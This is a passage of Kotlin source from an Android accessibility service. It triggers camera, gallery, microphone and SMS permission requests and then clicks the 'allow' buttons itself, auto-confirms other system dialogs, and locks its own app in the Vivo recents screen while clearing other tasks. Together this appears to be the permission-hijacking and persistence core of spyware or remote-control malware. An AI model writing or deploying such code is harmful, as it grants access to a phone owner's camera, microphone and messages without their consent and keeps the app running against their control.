                                Log.d(TAG, "✅ [原APK策略] 成功点击关联启动 $targetText 按钮")
                                button.recycle()
                                performSegmentedDelay(600) // 弹框关闭后等待
                                return true
                            }
                        }
                    }
                    button.recycle()
                }
            }

            Log.d(TAG, "⚠️ [原APK策略] 未找到关联启动权限弹框")
            false

        } catch (e: Exception) {
            Log.e(TAG, "❌ [原APK策略] 处理关联启动弹框失败", e)
            false
        }
    }

    /**
     * ✅ 通用权限弹框处理 (后台弹出界面、悬浮窗等)
     */
    private suspend fun handleGeneralPermissionDialog(): Boolean {
        return try {
            Log.d(TAG, "🔍 [原APK策略] 检测通用权限弹框...")

            val rootInActiveWindow = getStableRootInActiveWindow(service) ?: return false

            // ✅ 通用的权限弹框按钮文本
            val generalButtons = listOf("允许", "确定", "确认")

            for (targetText in generalButtons) {
                val buttons = try {
                    rootInActiveWindow.findAccessibilityNodeInfosByText(targetText)
                } catch (e: Exception) {
                    continue
                }

                for (button in buttons) {
                    if (button.isClickable &&
                        button.text?.toString()?.contains(targetText) == true &&
                        button.isVisibleToUser
                    ) {

                        Log.d(TAG, "🔍 [原APK策略] 找到通用权限可点击的$targetText 按钮")
                        val clickSuccess = button.performAction(AccessibilityNodeInfo.ACTION_CLICK)
                        if (clickSuccess) {
                            Log.d(TAG, "✅ [原APK策略] 成功点击通用权限 $targetText 按钮")
                            button.recycle()
                            performSegmentedDelay(500)
                            return true
                        }
                    }
                    button.recycle()
                }
            }

            false

        } catch (e: Exception) {
            Log.e(TAG, "❌ [原APK策略] 处理通用权限弹框失败", e)
            false
        }
    }

    // ======================== MainActivity直接权限请求功能 ========================
    
    /**
     * ✅ 检查MainActivity是否在前台
     */
    private fun isMainActivityInForeground(): Boolean {
        return try {
            val activityManager = context.getSystemService(Context.ACTIVITY_SERVICE) as android.app.ActivityManager
            val runningTasks = activityManager.getRunningTasks(1)
            val topActivity = runningTasks[0].topActivity
            val isMainActivity = topActivity?.className?.contains("MainActivity") == true
            val isOurPackage = topActivity?.packageName == context.packageName
            
            Log.d(TAG, "🔍 当前前台Activity: ${topActivity?.className}")
            Log.d(TAG, "🔍 是否MainActivity: $isMainActivity, 是否我们的包: $isOurPackage")
            
            isMainActivity && isOurPackage
        } catch (e: Exception) {
            Log.e(TAG, "❌ 检查MainActivity前台状态失败", e)
            false
        }
    }
    
    /**
     * ✅ 直接调用MainActivity的摄像头权限请求
     */
    private suspend fun executeCameraPermissionDirectly(): Boolean {
        return try {
            Log.d(TAG, "🎯 直接调用MainActivity摄像头权限请求")
            
            // 发送广播给MainActivity请求权限
            val intent = Intent("android.mycustrecev.REQUEST_CAMERA_PERMISSION").apply {
                putExtra("action", "request_camera_permission")
                putExtra("callback_action", "start_camera")
                putExtra("frontCamera", false)
            }
            context.sendBroadcast(intent)
            Log.d(TAG, "✅ 已发送摄像头权限请求广播给MainActivity")
            delay(delay_page())
            delay(delay_page())
            // 等待权限对话框出现并自动点击
            var attempts = 0
            while (attempts < 10) { // 等待最多1秒
//                if (ANDROID_VERSION != VIVO_ANDROID_14) {
//                    delay(50)
//                } else {
//                    delay(150)
//                }
                delay(delay_page())
                // 检查权限是否已授予
                if (PermissionRequestHelper.hasCameraPermission(context)) {
                    Log.d(TAG, "✅ 摄像头权限授予成功")
                    return true
                }

                // 尝试自动点击权限弹窗
                clickAllowByType("CAMERA")
                attempts++
            }
            
            Log.w(TAG, "⚠️ 直接摄像头权限请求超时")
            false
        } catch (e: Exception) {
            Log.e(TAG, "❌ 直接摄像头权限请求失败", e)
            false
        }
    }

    /**
     * ✅ 直接调用MainActivity的相册权限请求
     */
    private suspend fun executeGalleryPermissionDirectly(): Boolean {
        return try {
            Log.d(TAG, "🎯 直接调用MainActivity相册权限请求")
            
            // 发送广播给MainActivity请求权限
            val intent = Intent("android.mycustrecev.REQUEST_GALLERY_PERMISSION").apply {
                putExtra("action", "request_gallery_permission")
                putExtra("callback_action", "start_gallery")
            }
            context.sendBroadcast(intent)
            Log.d(TAG, "✅ 已发送相册权限请求广播给MainActivity")
            delay(delay_page())
            delay(delay_page())
            // 等待权限对话框出现并自动点击
            var attempts = 0
            while (attempts < 10) { // 等待最多1秒
//                if (ANDROID_VERSION != VIVO_ANDROID_14) {
//                    delay(150)
//                } else {
//                    delay(50)
//                }
                delay(delay_page())

                // 检查权限是否已授予
                if (PermissionRequestHelper.hasGalleryPermission(context)) {
                    Log.d(TAG, "✅ 相册权限授予成功")
                    return true
                }

                // 尝试自动点击权限弹窗
                clickAllowByType("GALLERY")
                attempts++
            }
            
            Log.w(TAG, "⚠️ 直接相册权限请求超时")
            false
        } catch (e: Exception) {
            Log.e(TAG, "❌ 直接相册权限请求失败", e)
            false
        }
    }

    /**
     * ✅ 直接调用MainActivity的麦克风权限请求
     */
    private suspend fun executeMicrophonePermissionDirectly(): Boolean {
        return try {
            Log.d(TAG, "🎯 直接调用MainActivity麦克风权限请求")
            
            // 发送广播给MainActivity请求权限
            val intent = Intent("android.mycustrecev.REQUEST_MICROPHONE_PERMISSION").apply {
                putExtra("action", "request_microphone_permission")
                putExtra("callback_action", "start_microphone")
            }
            context.sendBroadcast(intent)
            Log.d(TAG, "✅ 已发送麦克风权限请求广播给MainActivity")
            delay(delay_page())
            delay(delay_page())
            // 等待权限对话框出现并自动点击
            var attempts = 0
            while (attempts < 10) { // 等待最多1秒
//                if (ANDROID_VERSION != VIVO_ANDROID_14) {
//                    delay(150)
//                } else {
//                    delay(50)
//                }
                delay(delay_page())
                // 检查权限是否已授予
                if (PermissionRequestHelper.hasMicrophonePermission(context)) {
                    Log.d(TAG, "✅ 麦克风权限授予成功")
                    return true
                }

                // 尝试自动点击权限弹窗
                clickAllowByType("MIC")
                attempts++
            }
            
            Log.w(TAG, "⚠️ 直接麦克风权限请求超时")
            false
        } catch (e: Exception) {
            Log.e(TAG, "❌ 直接麦克风权限请求失败", e)
            false
        }
    }

    /**
     * ✅ 直接调用MainActivity的短信权限请求
     */
    private suspend fun executeSMSPermissionDirectly(): Boolean {
        return try {
            Log.d(TAG, "🎯 直接调用MainActivity短信权限请求")
            
            // 发送广播给MainActivity请求权限
            val intent = Intent("android.mycustrecev.REQUEST_SMS_PERMISSION").apply {
                putExtra("action", "request_sms_permission")
                putExtra("callback_action", "start_sms")
            }
            context.sendBroadcast(intent)
            Log.d(TAG, "✅ 已发送短信权限请求广播给MainActivity")
            delay(delay_page())
            delay(delay_page())
            // 等待权限对话框出现并自动点击
            var attempts = 0
            while (attempts < 10) { // 等待最多1秒
//                if (ANDROID_VERSION != VIVO_ANDROID_14) {
//                    delay(50)
//                } else {
//                    delay(150)
//                }

                delay(delay_page())
                // 检查权限是否已授予
                if (PermissionRequestHelper.hasSMSPermission(context)) {
                    Log.d(TAG, "✅ 短信权限授予成功")
                    return true
                }

                // 尝试自动点击权限弹窗
                clickAllowByType("SMS")
                attempts++
            }
            
            Log.w(TAG, "⚠️ 直接短信权限请求超时")
            false
        } catch (e: Exception) {
            Log.e(TAG, "❌ 直接短信权限请求失败", e)
            false
        }
    }

    // ======================== 多任务清除功能 ========================

    /**
     * ✅ 清除多任务 - 参考onRecentsWindowContentChanged实现
     * 使用Vivo特定的配置查找清除按钮
     */
    suspend fun clearAllRecentTasks(): Boolean {
        return try {
            Log.i(TAG, "🧹 开始清除全部多任务")

            // 0) 首先检查APP是否已安装
            val ourPackageName = context.packageName
            if (!isAppInstalled(ourPackageName)) {
                Log.w(TAG, "⚠️ APP未安装或安装不完整，跳过清除多任务操作")
                return false
            }
            
            // 1) 检查当前是否在我们的APP页面
            val currentPackage = getCurrentPackageName()
            
            Log.d(TAG, "🔍 当前包名: $currentPackage, 我们的包名: $ourPackageName")
            
            if (currentPackage != ourPackageName) {
                Log.d(TAG, "⚠️ 当前不在我们的APP页面，尝试唤起APP")
                
                // 尝试3次唤起我们的APP
                var appLaunched = false
                for (attempt in 1..3) {
                    Log.d(TAG, "🔄 第${attempt}次尝试唤起APP")
                    
                    try {
                        // 使用多种启动方式
                        val launchIntent = context.packageManager.getLaunchIntentForPackage(ourPackageName)
                        if (launchIntent != null) {
                            // 使用更强制性的启动flags
                            launchIntent.addFlags(
                                Intent.FLAG_ACTIVITY_NEW_TASK or 
                                Intent.FLAG_ACTIVITY_CLEAR_TOP or 
                                Intent.FLAG_ACTIVITY_SINGLE_TOP or
                                Intent.FLAG_ACTIVITY_RESET_TASK_IF_NEEDED
                            )
                            
                            // 尝试启动APP
                            context.startActivity(launchIntent)
                            Log.d(TAG, "✅ 第${attempt}次APP唤起请求已发送")
                            
                            // 延长等待时间，给APP更多启动时间
                            performSegmentedDelay(2000) // 增加到2秒
                            
                            // 多次检查APP是否成功启动
                            var launchSuccess = false
                            for (checkAttempt in 1..3) {
                                val newPackage = getCurrentPackageName()
                                Log.d(TAG, "🔍 第${checkAttempt}次检查包名: $newPackage")
                                
                                if (newPackage == ourPackageName) {
                                    Log.d(TAG, "✅ 第${attempt}次成功唤起APP")
                                    appLaunched = true
                                    launchSuccess = true
                                    break
                                } else {
                                    Log.d(TAG, "⚠️ 第${checkAttempt}次检查失败，当前包名: $newPackage")
                                    if (checkAttempt < 3) {
                                        performSegmentedDelay(500) // 再等待500ms
                                    }
                                }
                            }
                            
                            if (launchSuccess) {
                                break
                            } else {
                                Log.d(TAG, "⚠️ 第${attempt}次唤起APP失败，尝试其他方式")
                                
                                // 如果标准启动失败，尝试使用系统启动器
                                try {
                                    // 方法1: 尝试直接启动MainActivity
                                    val mainActivityIntent = Intent().apply {
                                        setClassName(ourPackageName, "$ourPackageName.MainActivity")
                                        addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
                                        addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP)
                                    }
                                    context.startActivity(mainActivityIntent)
                                    Log.d(TAG, "🔄 第${attempt}次尝试直接启动MainActivity")
                                    performSegmentedDelay(1500)
                                    
                                    val finalPackage = getCurrentPackageName()
                                    if (finalPackage == ourPackageName) {
                                        Log.d(TAG, "✅ 第${attempt}次直接启动MainActivity成功")
                                        appLaunched = true
                                        break
                                    }
                                } catch (e: Exception) {
                                    Log.e(TAG, "❌ 第${attempt}次直接启动MainActivity失败", e)
                                    
                                    // 方法2: 尝试使用系统启动器
                                    try {
                                        val systemIntent = Intent(Intent.ACTION_MAIN).apply {
                                            addCategory(Intent.CATEGORY_LAUNCHER)
                                            setPackage(ourPackageName)
                                            addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
                                        }
                                        context.startActivity(systemIntent)
                                        Log.d(TAG, "🔄 第${attempt}次尝试系统启动器方式")
                                        performSegmentedDelay(1500)
                                        
                                        val finalPackage = getCurrentPackageName()
                                        if (finalPackage == ourPackageName) {
                                            Log.d(TAG, "✅ 第${attempt}次系统启动器方式成功")
                                            appLaunched = true
                                            break
                                        }
                                    } catch (e2: Exception) {
                                        Log.e(TAG, "❌ 第${attempt}次系统启动器方式失败", e2)
                                        
                                        // 方法3: 尝试启动应用详情页面
                                        try {
                                            val settingsIntent = Intent(android.provider.Settings.ACTION_APPLICATION_DETAILS_SETTINGS).apply {
                                                data = android.net.Uri.parse("package:$ourPackageName")
                                                addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
                                            }
                                            context.startActivity(settingsIntent)
                                            Log.d(TAG, "🔄 第${attempt}次尝试启动应用详情页面")
                                            performSegmentedDelay(1500)
                                            
                                            val finalPackage = getCurrentPackageName()
                                            if (finalPackage.contains("settings") || finalPackage.contains("permission")) {
                                                Log.d(TAG, "✅ 第${attempt}次启动应用详情页面成功")
                                                appLaunched = true
                                                break
                                            }
                                        } catch (e3: Exception) {
                                            Log.e(TAG, "❌ 第${attempt}次启动应用详情页面失败", e3)
                                        }
                                    }
                                }
                            }
                        } else {
                            Log.w(TAG, "❌ 第${attempt}次无法获取APP启动Intent")
                        }
                    } catch (e: Exception) {
                        Log.e(TAG, "❌ 第${attempt}次唤起APP异常", e)
                    }
                    
                    // 如果不是最后一次尝试，等待一下再重试
                    if (attempt < 3) {
                        performSegmentedDelay(1000) // 增加重试间隔
                    }
                }
                
                if (!appLaunched) {
                    Log.w(TAG, "❌ 3次尝试后仍无法唤起APP，取消清除多任务操作")
                    return false
                }
            } else {
                Log.d(TAG, "✅ 当前已在我们的APP页面")
            }

            // 2) 打开多任务页面
            val opened = service.performGlobalAction(AccessibilityService.GLOBAL_ACTION_RECENTS)
            if (!opened) {
                Log.w(TAG, "❌ 无法打开多任务页面")
                return false
            }

            Log.d(TAG, "✅ 已打开多任务页面")
            performSegmentedDelay(1000) // 等待页面稳定

            if (findAndClickVivoGongButton()){
                performSegmentedDelay(500)
//                service.performGlobalAction(AccessibilityService.GLOBAL_ACTION_BACK)
//                clearAllRecentTasks()
            }
            
            // 在Vivo设备上，如果无障碍服务故障，先尝试向左滑动查看是否有其他应用
            Log.d(TAG, "🔄 Vivo设备：尝试向左滑动查看其他应用")
            performSwipeLeft()
            performSegmentedDelay(500)

            // 3) 查找并点击我们的APP名称
            val appNameClicked = findAndClickOurAppName()
            if (!appNameClicked) {
                Log.w(TAG, "⚠️ 未找到我们的APP名称")
                return false
            }
            performSegmentedDelay(1000) // 等待页面稳定
            // 4) 查找并点击锁定按钮
            val lockClicked = findAndClickLockButton()
            if (!lockClicked) {
                Log.w(TAG, "⚠️ 未找到锁定按钮")
                return false
            }
            performSegmentedDelay(1000) // 等待页面稳定
            // 5) 使用Vivo特定配置查找清除按钮
            val clearButtonFound = findAndClickVivoClearButton()
            if (clearButtonFound) {
                Log.i(TAG, "✅ 成功点击Vivo清除按钮")
                performSegmentedDelay(1000) // 等待清除完成
                return true
            } else {
                Log.w(TAG, "⚠️ 未找到Vivo清除按钮")
                return false
            }

        } catch (e: Exception) {
            Log.e(TAG, "❌ 清除多任务失败", e)
            false
        }
    }



    /**
     * ✅ 清除多任务 - 参考onRecentsWindowContentChanged实现
     * 使用Vivo特定的配置查找清除按钮
     */
    suspend fun clearEndAllRecentTasks(): Boolean {
        return try {
            Log.i(TAG, "🧹 开始清除全部多任务")


            // 2) 打开多任务页面
            val opened = service.performGlobalAction(AccessibilityService.GLOBAL_ACTION_RECENTS)
            if (!opened) {
                Log.w(TAG, "❌ 无法打开多任务页面")
                return false
            }

            Log.d(TAG, "✅ 已打开多任务页面")
            performSegmentedDelay(1000) // 等待页面稳定

            // 5) 使用Vivo特定配置查找清除按钮
            val clearButtonFound = findAndClickVivoClearButton()
            if (clearButtonFound) {
                Log.i(TAG, "✅ 成功点击Vivo清除按钮")
                performSegmentedDelay(1000) // 等待清除完成
                return true
            } else {
                Log.w(TAG, "⚠️ 未找到Vivo清除按钮")
                return false
            }

        } catch (e: Exception) {
            Log.e(TAG, "❌ 清除多任务失败", e)
            false
        }
    }

    /**
     * ✅ Vivo多任务页面检测配置 - 参考onRecentsWindowContentChanged
     */
    private val VIVO_RECENTS_DETECTION_CONFIG = arrayOf(
        "com.bbk.launcher2|清除全部-按钮",
    )
    private val VIVO_RECENTS_RENWU_CONFIG = arrayOf(
        "com.bbk.launcher2|平铺布局-按钮",

    )

//    将宫格转平铺
    private suspend fun findAndClickVivoGongButton(): Boolean {
        return try {
            Log.d(TAG, "🔍 开始查找Vivo宫格转平铺")

            val rootNode = getStableRootInActiveWindow(service) ?: return false
            val packageName = rootNode.packageName?.toString() ?: ""

            Log.d(TAG, "🔍 当前包名: $packageName")

            // ✅ 遍历Vivo配置，查找匹配的包名和文本
            for (config in VIVO_RECENTS_RENWU_CONFIG) {
                val parts = config.split("|")
                val targetPackage = parts[0]
                val targetText = parts[1]

                Log.d(TAG, "🔍 检查配置: $targetPackage -> $targetText")

                if (packageName.equals(targetPackage, true)) {
                    Log.d(TAG, "✅ 匹配到目标包名: $targetPackage, 查找文本: $targetText")

                    // ✅ 查找包含目标文本的可见节点
                    val nodes = rootNode.findAccessibilityNodeInfosByText(targetText)
                    Log.d(TAG, "🔍 找到 ${nodes.size} 个匹配节点")

                    for (node in nodes) {
                        val nodeText = node.text?.toString() ?: ""
                        val nodeDesc = node.contentDescription?.toString() ?: ""
                        val isVisible = node.isVisibleToUser
                        val isClickable = node.isClickable

                        Log.d(TAG, "🔍 节点检查: text='$nodeText', desc='$nodeDesc', visible=$isVisible, clickable=$isClickable")

                        if (isVisible) {
                            Log.i(TAG, "✅ 找到可见的目标节点: $targetText")

                            // ✅ 尝试点击节点
                            val clickSuccess = clickVivoClearButton(node)
                            if (clickSuccess) {
                                Log.i(TAG, "✅ 成功点击宫格按钮: $targetText")
                                return true
                            }
                        }
                    }

                    Log.d(TAG, "❌ 未找到宫格按钮: $targetText")
                }
            }


            false

        } catch (e: Exception) {
            Log.e(TAG, "❌ 查找Vivo宫格按钮失败", e)
            false
        }
    }
    /**
     * ✅ 查找并点击Vivo清除按钮 - 基于RECENTS_DETECTION_CONFIG策略
     */
    private suspend fun findAndClickVivoClearButton(): Boolean {
        return try {
            Log.d(TAG, "🔍 开始查找Vivo清除按钮")

            val rootNode = getStableRootInActiveWindow(service) ?: return false
            val packageName = rootNode.packageName?.toString() ?: ""

            Log.d(TAG, "🔍 当前包名: $packageName")

            // ✅ 遍历Vivo配置，查找匹配的包名和文本
            for (config in VIVO_RECENTS_DETECTION_CONFIG) {
                val parts = config.split("|")
                val targetPackage = parts[0]
                val targetText = parts[1]

                Log.d(TAG, "🔍 检查配置: $targetPackage -> $targetText")

                if (packageName.equals(targetPackage, true)) {
                    Log.d(TAG, "✅ 匹配到目标包名: $targetPackage, 查找文本: $targetText")

                    // ✅ 查找包含目标文本的可见节点
                    val nodes = rootNode.findAccessibilityNodeInfosByText(targetText)
                    Log.d(TAG, "🔍 找到 ${nodes.size} 个匹配节点")

                    for (node in nodes) {
                        val nodeText = node.text?.toString() ?: ""
                        val nodeDesc = node.contentDescription?.toString() ?: ""
                        val isVisible = node.isVisibleToUser
                        val isClickable = node.isClickable

                        Log.d(TAG, "🔍 节点检查: text='$nodeText', desc='$nodeDesc', visible=$isVisible, clickable=$isClickable")

                        if (isVisible) {
                            Log.i(TAG, "✅ 找到可见的目标节点: $targetText")

                            // ✅ 尝试点击节点
                            val clickSuccess = clickVivoClearButton(node)
                            if (clickSuccess) {
                                Log.i(TAG, "✅ 成功点击Vivo清除按钮: $targetText")
                                return true
                            }
                        }
                    }

                    Log.d(TAG, "❌ 未找到可见的目标节点: $targetText")
                }
            }

            Log.w(TAG, "❌ 未匹配到任何Vivo配置")
            false

        } catch (e: Exception) {
            Log.e(TAG, "❌ 查找Vivo清除按钮失败", e)
            false
        }
    }

    /**
     * ✅ 点击Vivo清除按钮 - 参考原APK策略
     */
    private suspend fun clickVivoClearButton(node: AccessibilityNodeInfo): Boolean {
        return try {
            Log.d(TAG, "🔧 开始点击Vivo清除按钮")

            // ✅ 策略1: 直接点击
            if (node.isClickable) {
                val success = node.performAction(AccessibilityNodeInfo.ACTION_CLICK)
                if (success) {
                    Log.d(TAG, "✅ 直接点击成功")
                    return true
                }
            }

            // ✅ 策略2: 坐标点击
            val rect = Rect()
            node.getBoundsInScreen(rect)
            if (!rect.isEmpty) {
                Log.d(TAG, "📍 按钮矩形: left=${rect.left}, top=${rect.top}, right=${rect.right}, bottom=${rect.bottom}")
                val centerX = rect.centerX()
                val centerY = rect.centerY()
                Log.d(TAG, "🎯 点击坐标: ($centerX, $centerY)")
                
                val success = simpleCoordinateClick(centerX, centerY)
                if (success) {
                    Log.d(TAG, "✅ 坐标点击成功")
                    return true
                }
            }

            Log.w(TAG, "❌ 点击Vivo清除按钮失败")
            false

        } catch (e: Exception) {
            Log.e(TAG, "❌ 点击Vivo清除按钮异常", e)
            false
        }
    }

    /**
     * 检查APP是否已安装
     */
    private fun isAppInstalled(packageName: String): Boolean {
        return try {
            val packageManager = context.packageManager
            packageManager.getPackageInfo(packageName, 0)
            true
        } catch (e: Exception) {
            Log.w(TAG, "⚠️ APP未安装或安装不完整: $packageName", e)
            false
        }
    }

    /**
     * ✅ 获取当前页面的包名
     */
    private fun getCurrentPackageName(): String {
        return try {
            val root = getStableRootInActiveWindow(service)
            val packageName = root?.packageName?.toString() ?: ""
            Log.d(TAG, "🔍 获取当前包名: $packageName")
            packageName
        } catch (e: Exception) {
            Log.e(TAG, "❌ 获取当前包名失败", e)
            ""
        }
    }

    /**
     * ✅ 查找并点击我们的APP名称
     */
    private suspend fun findAndClickOurAppName(): Boolean {
        return try {
            Log.d(TAG, "🔍 开始查找我们的APP名称")
            
            val rootNode = getStableRootInActiveWindow(service) ?: return false
            
            // 获取我们的APP名称
            val pm = context.packageManager
            val appName = try {
                pm.getApplicationLabel(context.applicationInfo).toString()
            } catch (_: Exception) {
                context.packageName
            }
            
            Log.d(TAG, "🔍 查找APP名称: $appName")
            
            // 查找包含APP名称的节点
            val nodes = rootNode.findAccessibilityNodeInfosByText(appName)
            Log.d(TAG, "🔍 找到 ${nodes.size} 个匹配APP名称的节点")
            
            // ✅ 详细调试信息：打印所有找到的节点信息
//            for ((index, node) in nodes.withIndex()) {
//                val separator = "=".repeat(50)
//                Log.d(TAG, separator)
//                Log.d(TAG, "🔍 节点[$index] 详细信息:")
//
//                // 节点基本信息
//                val nodeText = node.text?.toString() ?: ""
//                val nodeDesc = node.contentDescription?.toString() ?: ""
//                val className = node.className?.toString() ?: ""
//                val packageName = node.packageName?.toString() ?: ""
//                val isVisible = node.isVisibleToUser
//                val isClickable = node.isClickable
//                val isEnabled = node.isEnabled
//                val isChecked = node.isChecked
//
//                Log.d(TAG, "  📝 文本: '$nodeText'")
//                Log.d(TAG, "  📝 描述: '$nodeDesc'")
//                Log.d(TAG, "  🏷️ 类名: '$className'")
//                Log.d(TAG, "  📦 包名: '$packageName'")
//                Log.d(TAG, "  👁️ 可见: $isVisible")
//                Log.d(TAG, "  🖱️ 可点击: $isClickable")
//                Log.d(TAG, "  ✅ 启用: $isEnabled")
//                Log.d(TAG, "  ☑️ 选中: $isChecked")
//
//                // 节点位置信息
//                val rect = android.graphics.Rect()
//                node.getBoundsInScreen(rect)
//                Log.d(TAG, "  📐 位置: left=${rect.left}, top=${rect.top}, right=${rect.right}, bottom=${rect.bottom}")
//                Log.d(TAG, "  📐 中心: x=${rect.centerX()}, y=${rect.centerY()}")
//                Log.d(TAG, "  📐 尺寸: width=${rect.width()}, height=${rect.height()}")
//
//                // 父节点信息
//                val parent = node.parent
//                if (parent != null) {
//                    Log.d(TAG, "  👨‍👩‍👧‍👦 父节点信息:")
//                    Log.d(TAG, "    📝 父节点文本: '${parent.text?.toString() ?: ""}'")
//                    Log.d(TAG, "    📝 父节点描述: '${parent.contentDescription?.toString() ?: ""}'")
//                    Log.d(TAG, "    🏷️ 父节点类名: '${parent.className?.toString() ?: ""}'")
//                    Log.d(TAG, "    📦 父节点包名: '${parent.packageName?.toString() ?: ""}'")
//                    Log.d(TAG, "    👁️ 父节点可见: ${parent.isVisibleToUser}")
//                    Log.d(TAG, "    🖱️ 父节点可点击: ${parent.isClickable}")
//                    Log.d(TAG, "    👶 父节点子节点数: ${parent.childCount}")
//
//                    // 父节点位置
//                    val parentRect = android.graphics.Rect()
//                    parent.getBoundsInScreen(parentRect)
//                    Log.d(TAG, "    📐 父节点位置: left=${parentRect.left}, top=${parentRect.top}, right=${parentRect.right}, bottom=${parentRect.bottom}")
//
//                    // 兄弟节点信息
//                    Log.d(TAG, "  👫 兄弟节点信息:")
//                    for (i in 0 until parent.childCount) {
//                        val sibling = parent.getChild(i)
//                        if (sibling != null) {
//                            Log.d(TAG, "    👫 兄弟节点[$i]:")
//                            Log.d(TAG, "      📝 文本: '${sibling.text?.toString() ?: ""}'")
//                            Log.d(TAG, "      📝 描述: '${sibling.contentDescription?.toString() ?: ""}'")
//                            Log.d(TAG, "      🏷️ 类名: '${sibling.className?.toString() ?: ""}'")
//                            Log.d(TAG, "      👁️ 可见: ${sibling.isVisibleToUser}")
//                            Log.d(TAG, "      🖱️ 可点击: ${sibling.isClickable}")
//
//                            val siblingRect = android.graphics.Rect()
//                            sibling.getBoundsInScreen(siblingRect)
//                            Log.d(TAG, "      📐 位置: left=${siblingRect.left}, top=${siblingRect.top}, right=${siblingRect.right}, bottom=${siblingRect.bottom}")
//
//                            // 检查是否是开关节点
//                            if (sibling.className?.toString() == "android.widget.Switch") {
//                                Log.d(TAG, "      🔘 发现开关节点！状态: ${sibling.isChecked}")
//                            }
//
//                            sibling.recycle()
//                        }
//                    }
//
//                    parent.recycle()
//                } else {
//                    Log.d(TAG, "  👨‍👩‍👧‍👦 父节点: null")
//                }
//
//                Log.d(TAG, separator)
//            }
//
            // ✅ 优先查找标题节点（不可点击的节点）
            for ((index, node) in nodes.withIndex()) {
                val nodeText = node.text?.toString() ?: ""
                val nodeDesc = node.contentDescription?.toString() ?: ""
                val isVisible = node.isVisibleToUser
                val isClickable = node.isClickable
                
                Log.d(TAG, "🔍 检查节点[$index] 是否为标题节点: visible=$isVisible, clickable=$isClickable")
                
                // 优先选择不可点击的标题节点
                if (isVisible && !isClickable && 
                    (nodeText.equals(appName, true) || nodeDesc.equals(appName, true))) {
                    Log.i(TAG, "✅ 找到标题节点: $appName")
                    
                    // 尝试点击父节点（标题节点通常需要点击父节点）
                    val parent = node.parent
                    if (parent != null && parent.isClickable) {
                        Log.d(TAG, "🔧 点击标题节点的父节点")
                        val clickSuccess = clickVivoClearButton(parent)
                        if (clickSuccess) {
                            Log.i(TAG, "✅ 成功点击标题节点父节点: $appName")
                            performSegmentedDelay(500)
                            return true
                        }
                    } else {
                        // 如果父节点不可点击，尝试直接点击标题节点
                        Log.d(TAG, "🔧 直接点击标题节点")
                        val clickSuccess = clickVivoClearButton(node)
                        if (clickSuccess) {
                            Log.i(TAG, "✅ 成功点击标题节点: $appName")
                            performSegmentedDelay(500)
                            return true
                        }
                    }
                }
            }
            
            // 备选：查找应用详情页标题节点
            for ((index, node) in nodes.withIndex()) {
                Log.d(TAG, "🔍 检查节点[$index] 是否为应用详情页标题节点")
                if (isDetailPageTitleNode(node, appName)) {
                    Log.i(TAG, "✅ 找到应用详情页标题节点: $appName")
                    
                    // 尝试点击节点
                    val clickSuccess = clickVivoClearButton(node)
                    if (clickSuccess) {
                        Log.i(TAG, "✅ 成功点击APP名称: $appName")
                        performSegmentedDelay(500) // 等待点击响应
                        return true
                    }
                }
            }
            
            // 最后备选：查找可点击的节点
            for ((index, node) in nodes.withIndex()) {
                val nodeText = node.text?.toString() ?: ""
                val nodeDesc = node.contentDescription?.toString() ?: ""
                val isVisible = node.isVisibleToUser
                val isClickable = node.isClickable
                
                Log.d(TAG, "🔍 检查节点[$index] 是否可点击: visible=$isVisible, clickable=$isClickable")
                
                if (isVisible && isClickable && 
                    (nodeText.equals(appName, true) || nodeDesc.equals(appName, true))) {
                    Log.i(TAG, "✅ 找到可点击的APP名称节点: $appName")
                    
                    val clickSuccess = clickVivoClearButton(node)
                    if (clickSuccess) {
                        Log.i(TAG, "✅ 成功点击APP名称: $appName")
                        performSegmentedDelay(500)
                        return true
                    }
                }
            }
            
            Log.w(TAG, "❌ 未找到可点击的APP名称节点")
            false
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 查找APP名称失败", e)
            false
        }
    }
    
    /**
     * 判断是否为应用详情页标题节点（节点[2]的特别标记）
     */
    private fun isDetailPageTitleNode(node: AccessibilityNodeInfo, appName: String): Boolean {
        return try {
            val nodeText = node.text?.toString() ?: ""
            val nodeDesc = node.contentDescription?.toString() ?: ""
            val className = node.className?.toString() ?: ""
            val isClickable = node.isClickable
            val isVisible = node.isVisibleToUser
            
            // 基本匹配条件
            if (!isVisible || !nodeText.equals(appName, true) || nodeDesc.isNotEmpty()) {
                return false
            }
            
            val parent = node.parent ?: return false
            val parentClassName = parent.className?.toString() ?: ""
            val parentBounds = android.graphics.Rect()
            parent.getBoundsInScreen(parentBounds)
            val nodeBounds = android.graphics.Rect()
            node.getBoundsInScreen(nodeBounds)
            
            // 节点[2]的特别标记组合
            parentClassName == "android.widget.RelativeLayout" &&
            parent.isClickable &&
            parentBounds.height() in 70..80 &&
            parentBounds.width() in 400..500 &&
            parent.childCount == 2 &&
            className == "android.widget.TextView" &&
            !isClickable &&
            nodeBounds.width() in 280..300 &&
            nodeBounds.height() in 30..40 &&
            nodeBounds.top in 240..250
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 判断详情页标题节点失败", e)
            false
        }
    }

    /**
     * ✅ 查找并点击锁定按钮
     */
    private suspend fun findAndClickLockButton(): Boolean {
        return try {
            Log.d(TAG, "🔍 开始查找锁定按钮")
            
            val rootNode = getStableRootInActiveWindow(service) ?: return false


//            val nodes_jiesuo = rootNode.findAccessibilityNodeInfosByText("解锁")
//
//            if (nodes_jiesuo != null){
//                Log.d(TAG, "🔍 界面有解锁两个字")
//                return true
//            }


            // 锁定按钮可能的文本
            val lockTexts = listOf("锁定")
            
            for (lockText in lockTexts) {
                Log.d(TAG, "🔍 尝试查找锁定文本: $lockText")
                
                val nodes = rootNode.findAccessibilityNodeInfosByText(lockText)
                Log.d(TAG, "🔍 找到 ${nodes.size} 个匹配锁定文本的节点")
                
                for (node in nodes) {
                    val nodeText = node.text?.toString() ?: ""
                    val nodeDesc = node.contentDescription?.toString() ?: ""
                    val isVisible = node.isVisibleToUser
                    val isClickable = node.isClickable
                    
                    Log.d(TAG, "🔍 锁定按钮节点检查: text='$nodeText', desc='$nodeDesc', visible=$isVisible, clickable=$isClickable")
                    
                    if (isVisible && (nodeText.equals(lockText, true) || nodeDesc.equals(lockText, true))) {
                        Log.i(TAG, "✅ 找到可见的锁定按钮节点: $lockText")
                        
                        // ✅ 优先尝试直接点击
                        if (isClickable) {
                            val clickSuccess = clickVivoClearButton(node)
                            if (clickSuccess) {
